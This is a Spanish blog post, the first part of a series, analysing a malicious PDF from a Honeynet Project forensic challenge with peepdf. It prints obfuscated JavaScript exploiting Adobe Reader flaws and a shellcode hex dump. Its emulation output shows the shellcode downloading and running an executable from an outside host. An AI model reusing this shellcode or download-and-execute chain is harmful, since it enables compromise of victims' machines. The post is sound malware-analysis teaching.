Análisis del reto PDF de Honeynet Project con peepdf (I)

El pasado mes de noviembre, The Honeynet Project publicó un nuevo reto, esta vez sobre el análisis de un archivo PDF malicioso. Aunque es un poco antiguo ya, voy a analizarlo con peepdf porque creo que tiene algunas cosas interesantes y peepdf hace el análisis un poco más fácil. El archivo PDF se puede descargar desde aquí.

Lanzando peepdf sin ninguna opción obtenemos el siguiente error:

$ ./peepdf.py -i fcexploit.pdf
Error: parsing indirect object!!
Se trata de un error durante el proceso de "parseo". Cuando analizamos archivos maliciosos es muy recomendable usar la opción -f para ignorar este tipo de errores y continuar con el análisis:

$ ./peepdf.py -fi fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 2

Version 0:
Catalog: 27
Info: 11
Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]
Errors (1): [11]
Streams (5): [5, 7, 9, 10, 11]
Encoded (4): [5, 7, 9, 10]
Objects with JS code (1): [5]
Suspicious elements:
/AcroForm: [27]
/OpenAction: [1]
/JS: [4]
/JavaScript: [4]
getAnnots (CVE-2009-1492): [5]

Ahora sí podemos ver algunas estadísticas e información sobre el documento. También se ven algunos errores, prueba de que no es un archivo PDF "normal":

PPDF> errors

Bad object for /XObject key (1)
No entries in xref section (1)

PPDF> errors 11

Missing /Length in stream object (1)
Un archivo PDF sin tabla de referencias cruzadas no es normal, pero es válido para la mayoría de los lectores de PDF. Sin embargo, la mayoría de los streams contienen un elemento /Length, por lo que conviene echar un vistazo al objeto 11:

PPDF> object 11

<< /ModDate D:20100910021118
/CreationDate D:20100910021118
/Producer Scribus PDF Library 1.3.3.14
/Creator Scribus 1.3.3.14
/Title 10 0 R
/Trapped /False
/Keywords
/Author  >>
stream
x��[Y8 ~��"ʼ
...
Este objeto parece ser un objeto Info, que contiene metadatos, pero también un stream, cosa no muy normal. Es por ello que vamos a examinar los bytes físicos del archivo relativos a este objeto:

PPDF> info 11

Offset: 22354
Size: 1951
Object: stream
Length: 1644
Encoded: No
References: ['10 0 R']
Parsing Errors: 1

PPDF> bytes 22354 300

11 0 obj
<<
/Creator (Scribus 1.3.3.14)
/Producer (Scribus PDF Library 1.3.3.14)
/Title 10 0 R
/Author <>
/Keywords <>
/CreationDate (D:20100910021118)
/ModDate (D:20100910021118)
/Trapped /False
>>
21 0 obj
<>
stream
x��[Y8 ~

Resulta que tenemos dos objetos, ¡no uno! El objeto 11 no tiene el tag de finalización de los objetos, endobj, por lo que peepdf cree que es un único objeto. Para estos casos en los que se trata con objetos malformados es recomendable usar la opción -l al lanzar la herramienta para identificar todos los objetos sin buscar el tag de finalización:

$ ./peepdf.py -fli fcexploit.pdf

File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 19
Streams: 5
Comments: 0
Errors: 2

Version 0:
Catalog: 27
Info: 11
Objects (19): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 21, 22, 23, 24, 25, 26, 27, 28]
Streams (5): [5, 7, 9, 10, 21]
Encoded (5): [5, 7, 9, 10, 21]
Objects with JS code (1): [5]
Suspicious elements:
/AcroForm: [27]
/OpenAction: [1]
/AA: [21]
/JS: [4]
/JavaScript: [4]
getAnnots (CVE-2009-1492): [5]
/EmbeddedFile: [21]

Ahora aparece el objeto 21 y parece ser un archivo "embebido"...Esta es la información de la que disponemos hasta ahora. Podemos ver la función sospechosa getAnnots en el objeto 5, así que podemos ir directos a analizar este objeto:

PPDF> stream 5

var SSS=null;var SS="ev";var $S="";$5="in";app.doc.syncAnnotScan();
S$="ti";if(app.plugIns.length!=0){var $$=0;S$+="tl";$5+="fo"
____SSS=app.doc.getAnnots({nPage:0});S$+="e";$S=this.info.title;}
var S5="";if(app.plugIns.length>3){SS+="a";
var arr=$S.split(/U_155bf62c9aU_7917ab39/);for(var $=1;$=2){app[SS](S5);}


Poniendo bonito el código Javascript:

En resumen, vemos una referencia al título del objeto Info (this.info.title) y cómo su contenido es separado ($S.split(/U_155bf62c9aU_7917ab39/);) y convertido con la función fromCharCode. Al final del script el resultado es ejecutado mediante la función eval (app[SS](S5)). Si exploramos el objeto Info (11) podemos ver que el título está contenido en el objeto 10:


PPDF> object 11

<< /ModDate D:20100910021118
/CreationDate D:20100910021118
/Producer Scribus PDF Library 1.3.3.14
/Creator Scribus 1.3.3.14
/Title 10 0 R
/Trapped /False
/Keywords
/Author  >>

PPDF> stream 10

U_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3
95fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3953U_155bf62c9aU_7917
ab3953U_155bf62c9aU_7917ab393dU_155bf62c9aU_7917ab3931U_155bf62c9aU_7
917ab393bU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9a
U_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3924U_155bf62
...
Sin la ayuda de herramientas o comandos externos podemos reemplazar los strings y continuar con el análisis en la consola:


PPDF> set output variable sh
PPDF> stream 10

U_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3
95fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3953U_155bf62c9aU_7917
ab3953U_155bf62c9aU_7917ab393dU_155bf62c9aU_7917ab3931U_155bf62c9aU_7
917ab393bU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9a
U_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab3924U_155bf62
...
PPDF> reset output

PPDF> replace variable sh "U_155bf62c9aU_7917ab39" "%"

The string has been replaced correctly

PPDF> js_unescape variable sh

Unescaped bytes:

5f 5f 5f 5f 53 53 3d 31 3b 5f 5f 5f 5f 24 35 3d   |____SS=1;____$5=|
5f 5f 5f 5f 53 53 53 5b 5f 5f 5f 5f 53 53 5d 2e   |____SSS[____SS].|
73 75 62 6a 65 63 74 3b 5f 5f 5f 5f 24 53 3d 30   |subject;____$S=0|
3b 5f 5f 5f 5f 24 3d 5f 5f 5f 5f 24 35 2e 72 65   |;____$=____$5.re|
70 6c 61 63 65 28 2f 58 5f 31 37 38 34 34 37 34   |place(/X_1784474|
33 58 5f 31 37 30 39 38 37 37 34 33 2f 67 2c 22   |3X_170987743/g,"|
25 22 29 3b 5f 5f 5f 5f 53 35 3d 5f 5f 5f 5f 53   |%");____S5=____S|
53 53 5b 5f 5f 5f 5f 24 53 5d 2e 73 75 62 6a 65   |SS[____$S].subje|
63 74 3b 5f 5f 5f 5f 24 2b 3d 5f 5f 5f 5f 53 35   |ct;____$+=____S5|
2e 72 65 70 6c 61 63 65 28 2f 38 39 61 66 35 30   |.replace(/89af50|
64 2f 67 2c 22 25 22 29 3b 5f 5f 5f 5f 24 3d 5f   |d/g,"%");____$=_|
5f 5f 5f 24 2e 72 65 70 6c 61 63 65 28 2f 5c 6e   |___$.replace(/\n|
2f 2c 22 22 29 3b 5f 5f 5f 5f 24 3d 5f 5f 5f 5f   |/,"");____$=____|
24 2e 72 65 70 6c 61 63 65 28 2f 5c 72 2f 2c 22   |$.replace(/\r/,"|
22 29 3b 5f 5f 5f 5f 53 24 3d 75 6e 65 73 63 61   |");____S$=unesca|
70 65 28 5f 5f 5f 5f 24 29 3b 61 70 70 2e 65 76   |pe(____$);app.ev|
61 6c 28 5f 5f 5f 5f 53 24 29 3b                  |al(____S$);|

Y nos encontramos con este otro código Javascript:

Es similar al primero. En este caso se usa la variable ____SSS, que contiene las anotaciones de la página 0 del documento (____SSS = app.doc.getAnnots({nPage: 0});), para obtener las cadenas de texto a reemplazar. Primero, el string X_17844743X_170987743 es reemplazado en el elemento /Subject de la segunda anotación de la página, y más tarde es la cadena 89af50d la que es sustituida por el carácter % en el subject de la primera anotación de la página. El resultado es concatenado y se obtienen sus bytes sin escapar para ser finalmente ejecutados. Ahora también podemos usar la consola de peepdf para llevar a cabo el análisis:


PPDF> object 3

<< /Parent 2 0 R
/Type /Page
/MediaBox [ 0 0 612 792 ]
/Annots [ 6 0 R 8 0 R ] >>

La primera anotación se encuentra en el objeto 6 y la segunda en el objeto 8:

PPDF> object 8

<< /Rect [ 100 180 300 210 ]
/Type /Annot
/Name /Comment
/Subj 9 0 R
/Subtype /Text >>

PPDF> object 6

<< /Rect [ 200 250 300 320 ]
/Type /Annot
/Name /Comment
/Subj 7 0 R
/Subtype /Text >>

Y los elementos /Subject de estas anotaciones en los objetos 9 y 7 respectivamente:

PPDF> stream 9

X_17844743X_17098774376X_17844743X_17098774361X_17844743X_17098774372
X_17844743X_17098774320X_17844743X_17098774377X_17844743X_17098774320
X_17844743X_1709877433dX_17844743X_17098774320X_17844743X_1709877436e
X_17844743X_17098774365X_17844743X_17098774377X_17844743X_17098774320
X_17844743X_17098774353X_17844743X_17098774374X_17844743X_17098774372
X_17844743X_17098774369X_17844743X_1709877436eX_17844743X_17098774367
X_17844743X_17098774328X_17844743X_17098774329X_17844743X_1709877433b
X_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_17098774376
...

PPDF> stream 7

89af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d
3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af5
0d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889a
f50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d388
9af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3
889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50
d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af
50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889
...

Después de sustituir las cadenas de texto y obtener los bytes sin escapar obtenemos el siguiente código:


Ahora tiene mejor pinta ;) Tenemos cuatro funciones diferentes con cuatro vulnerabilidades diferentes (media.newPlayer, util.printf, Collab.collectEmailInfo, Collab.getIcon) y cuatro shellcodes diferentes. Si cogemos cualquiera de las shellcodes podemos analizarla también con peepdf gracias al wrapper de sctest:



PPDF> set sh "%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231
%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e..."

PPDF> set output variable raw_sh
PPDF> js_unescape variable sh

Unescaped bytes:

b8 d3 58 74 01 d9 cb 2b c9 d9 74 24 f4 b1 65 5a   |..Xt...+..t$..eZ|
31 42 12 03 42 12 83 39 a4 96 f4 56 45 0d bd 9b   |1B..B..9...VE...|
af d7 f8 e7 2e 98 cf 1d a8 7a d5 ca cf 92 c1 f3   |.........z......|
2f 9d 66 47 49 fb 1e 94 94 c4 89 83 fe ac d8 6a   |/.fGI..........j|
95 dd 35 09 a2 f3 1c 80 d9 b2 8c 48 78 26 5c 0b   |..5........Hx&\.|
62 dd f4 01 82 5b 92 47 5e 4b 2e 2d 2a bc ff f9   |b....[.G^K.-*...|
c1 e4 9a 9b f7 83 69 cc 38 39 b1 1f 29 7e 0b c5   |......i.89..)~..|
14 e2 48 82 d8 dc b7 b3 0b 89 25 e4 91 ab 10 52   |..H.......%....R|
92 51 fc c8 32 99 ef 9d a1 ba 95 07 9f 1c ee ac   |.Q..2...........|
ba c5 1c 4b 20 af 32 08 47 3e 29 91 f0 ac 04 de   |...K .2.G>).....|
62 10 e7 e9 04 08 91 f3 69 bf 69 cc f0 71 08 11   |b.......i.i..q..|
ee cc 20 0d cf be 62 b4 49 d9 71 99 e3 15 5a 3c   |.. ...b.I.q...Z<|
53 b0 89 5d 82 6c 48 66 ae 07 d2 7a 8a 14 9d b0   |S..].lHf...z....|
72 15 ab 1a e6 33 91 5a af b8 44 47 4a dd 98 8b   |r....3.Z..DGJ...|
f2 47 f0 2a cc b1 cf 03 07 27 1e fe 8a ed 57 ca   |.G.*.....'....W.|
cd 23 0e 03 77 72 bc 39 21 bf 23 64 3e df 93 5d   |.#..wr.9!.#d>..]|
71 ea 42 2a 4d 2b b8 d7 26 06 e4 7d b8 e9 71 e7   |q.B*M+..&..}..q.|
5c c8 82 0a 69 1f 8c 2e b2 1d 8c 25 bf 34 85 20   |\...i......%.4. |
9e 35 b7 98 ff 2c a5 e0 f4 6c c6 f3 09 74 ca f5   |.5...,...l...t..|
19 69 cd 60 13 9a 19 4e 4d a7 1c f7 52 b9 11 ea   |.i.`...NM...R...|
a6 cb 39 08 c0 d1 27 25 c7 d2 a5 10 d8 d8 bd 62   |..9...'%.......b|
f2 ff 9a 0b e9 eb ee df 04 1c 89 d3 22 36 77 1d   |............"6w.|
5a 4e 7d 17 5b 4c b3 21 43 5f b9 31 a4 39 2a bd   |ZN}.[L.!C_.1.9*.|
21 4a 91 12 e5 c8 89 03 9e 22 3a b4 0e 5e c3 24   |!J.......":..^.$|
aa d4 1d d7 46 72 4c 4a de 53 f6 fb 52 c9 98 70   |....FrLJ.S..R..p|
fa 72 3a 15 94 15 a8 b5 01 b8 57 20 e5 29 f9 c6   |.r:.......W .)..|
8e d0 8b 73 5f 27 42 1e e7 22 1a 41               |...s_'B..".A|

PPDF> set sctest /opt/libemu/bin/sctest
PPDF> sctest variable raw_sh

verbose = 0
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(32)
stepcount 7777
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417120 =>
= "GetSystemDirectoryA";
) = 0x7c814eea;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417134 =>
= "WinExec";
) = 0x7c86136d;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x0041713c =>
= "ExitThread";
) = 0x7c80c058;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417147 =>
= "LoadLibraryA";
) = 0x7c801d77;
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x00417154 =>
= "urlmon";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7df20000 =>
none;
LPCSTR lpProcName = 0x0041715b =>
= "URLDownloadToFileA";
) = 0x7df7b0bb;
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x0012fe7c =>
none;
UINT uSize = 32;
) =  19;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x0041716e =>
= "http://blog.honeynet.org.my/forensic_challenge/malware.4.exe";
LPCTSTR szFileName = 0x0012fe7c =>
= "c:\WINDOWS\system32\a.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x0012fe7c =>
= "c:\WINDOWS\system32\a.exe";
UINT uCmdShow = 0;
) =  32;
void ExitThread (
DWORD dwExitCode = 32;
) =  0;

Todas las shellcodes descargan un binario desde el dominio honeynet.org.my y después lo ejecutan. Pero antes de llegar a ninguna conclusión deberíamos ejecutar los comandos tree y offsets para tener en cuenta las estructuras física y lógica del archivo:

PPDF> offsets

1 Header
736
Object  1 (90)
825
827
Object  2 (58)
884
886
Object  3 (96)
981
983
Object  4 (59)
1041
1043
Object  5 (523)
1565
1567
Object  6 (101)
1667
1669
Object  7 (8843)
10511
10513
Object  8 (100)
10612
10614
Object  9 (10654)
21267
21269
Object  10 (1084)
22352
22354
Object  11 (198)
22551
22553
Object  21 (1753)
24305
24307
Object  22 (66)
24372
24374
Object  23 (65)
24438
24440
Object  24 (229)
24668
24670
Object  25 (157)
24826
24828
Object  26 (56)
24883
24885
Object  27 (129)
25013
25015
Object  28 (83)
25097
25098
Xref Section (4)
25101
25103
Trailer (60)
25162
25163 EOF

PPDF> tree

/Catalog (27)
dictionary (28)
dictionary (22)
dictionary (23)
dictionary (22)
/Annot (24)
    dictionary (23)
    /Page (25)
        /Pages (26)
            /Page (25)
stream (21)
/Pages (26)
/Catalog (1)
/Pages (2)
/Page (3)
/Pages (2)
/Annot (6)
stream (7)
/Annot (8)
stream (9)
/Action /JavaScript (4)
stream (5)
stream (10)
/Info (11)
stream (10)

Ouch! Aquí hay algo raro...Tenemos dos objetos Catalog (la raíz lógica de un documento PDF) pero sólo uno de ellos puede ejecutarse y, por lo tanto, sólo la mitad de los objetos del documento serán procesados...¿cúales? El Catalog que se use debe estar presente en el elemento /Root del trailer del documento:

PPDF> rawobject trailer

trailer
<< /Size 9
/Root 27 0 R
/Info 11 0 R >>
startxref
14765
%%EOF

Así que el objeto 27 es el Catalog real y sólo los objetos que "cuelgan" de él serán procesados por un lector PDF:


/Catalog (27)
    dictionary (28)
        dictionary (22)
            dictionary (23)
                dictionary (22)
                /Annot (24)
                    dictionary (23)
                    /Page (25)
                        /Pages (26)
                            /Page (25)
        stream (21)
    /Pages (26)

Esto significa que el objeto 5, el que contenía el código Javascript inicial, no será ejecutado y todo el análisis anterior no ha sido de gran ayuda en este caso. Como al final se ha alargado un poco el post dejaré el análisis "bueno" para la segunda parte ;)

Análisis del reto PDF de Honeynet Project con peepdf (II)
 

Nota: Publicado originalmente en el blog de S21sec